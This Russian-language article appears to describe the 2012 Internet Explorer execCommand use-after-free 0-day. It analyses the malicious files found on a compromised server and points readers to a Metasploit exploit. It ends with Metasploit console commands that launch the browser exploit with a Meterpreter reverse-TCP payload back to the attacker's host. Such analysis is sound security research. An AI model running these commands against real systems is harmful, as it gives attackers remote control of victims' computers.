Практика использования Metasploit — атака на Internet Explorer

Исследователь безопасности Eric Romang наткнулся на  уязвимость в Internet Explorer, которая используется для эксплуатации Java 0-day aka CVE-2012-4681. По сообщениям команды Metasploit, уязвимости подвержен Internet Explorer версии 7, 8 и 9. В операционных системах Windows XP, Vista и 7.

Утром 14 сентября, когда Eric Romang обнаружил на одном уязвимом сервере каталог “/public/help”, в котором лежало 4 файла: 111.exe, Moh2010.swf, Protected.html и exploit.html.

После того, как файлы были скачаны, Eric протестировал их на обновленной Windows XP Pro SP3 системе с обновленным Adobe Flash (11,4,402,265). Смотрите демонстрационное видео ниже:

exploit.html

Этот файл распознается, как html файл. VirusTotal не нашел в нем вирусов (https://www.virustotal.com/file/9d66323794d493a1deaab66e36d36a820d814ee4dd50d64cddf039c2a06463a5/analysis/1347710777/).

“exploit.html” точка входа взлома. Этот файл создает массив из “IMG” файлов, а также загружает “Moh2010.swf” файл.

Moh2010.swf

Этот файл распознается, как файл Macromedia Flash Player. VirusTotal также не нашел вирусов в этом файле (https://www.virustotal.com/file/70f6a2c2976248221c251d9965ff2313bc0ed0aebb098513d76de6d8396a7125/analysis/1347710461/).

Вы можете заметить, что файл упакован DoSWF и распаковывается в памяти. После декомпрессии файла “Moh2010.swf” переполняется куча (heap overflow) и исполняется iframe в файле ”Protect.html”.

Встроенный ActionScript в оригинальный SWF-файл, тоже интересен. В нем вы можете увидеть специальные кодировки (Китайцы?).

Декодированный SWF-файл известен, как “Exploit:SWF/CVE-2010-2884.B”, или “SWF:Dropper” на VirusTotal (https://www.virustotal.com/file/dd41efa629c7f7f876362c5ca6d570be6b83728a2ce8ecbef65bdb89cb402b0f/analysis/1347785233/). Обнаружили его только 3/34 антивирусов. Благодаря binjo.

Этот файл в процессе эксплуатации проверяет, присутствует ли панель Website Storage Settings. Если панель есть, тогда файл “Protect.html” больше не загружается. Это означает, что пользователь больше не заражается при дальнейшем посещении сайта.

Отображается при первом посещении

Отображается при успешной эксплуатации

Отображается при последующих визитах

Protect.html

Этот файл распознается, как html файл. VirusTotal не нашел вирусов в файле (https://www.virustotal.com/file/2a2e2efffa382663ba10c492f407dda8a686a777858692d073712d1cc9c5f265/analysis/1347710701/).

Если посмотреть на исходный код, то можно увидеть интересный JavaScript код, который манипулирует IMG-массивом, созданным “exploit.html“ файлом.

Также видно, что идет проверка на выявление Windows XP 32-bit и Internet Explorer 7 или 8.

111.exe

Этот файл распознается, как Autodesk FLIC image файл и VirusTotal также не находит в нем вирусов (https://www.virustotal.com/file/a5a04f661781d48df3cbe81f56ea1daae6ba3301c914723b0bb6369a5d2505d9/analysis/1347710327/).

В Malware Tracker (https://www.malwaretracker.com/docsearch.php?hash=baabd0b871095138269cf2c53b517927) файл распознается, как подозрительный и требует дальнейших исследований.

[ad name=»Responbl»]

После декодирования, файл 111.exe все равно не определяется антивирусами на VirusTotal (https://www.virustotal.com/file/a6086c16136ea752fc49bc987b8cc9e494384f372ddfdca85c2a5b7d43daa812/analysis/). Но при анализе файла в Malwr analysis (http://malwr.com/analysis/7173d9b331275b8be69a4e698c9ec68f/), файл распознается, как программа для автоматического запуска при входе в систему.

Заключение

После того, как Eric Romang обнаружил 0-day уязвимость, файлы с сервера были удалены через 2 дня.

Команда Metasploit, совместно с Mr. Romang и @binjo создали работающий эксплоит. Скачать который вы можете здесь, а также применить последние обновление, чтобы забрать (to pick up) эксплоит.

Microsoft Internet Explorer execCommand Vulnerability Metasploit Demo

use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit

sysinfo
getuid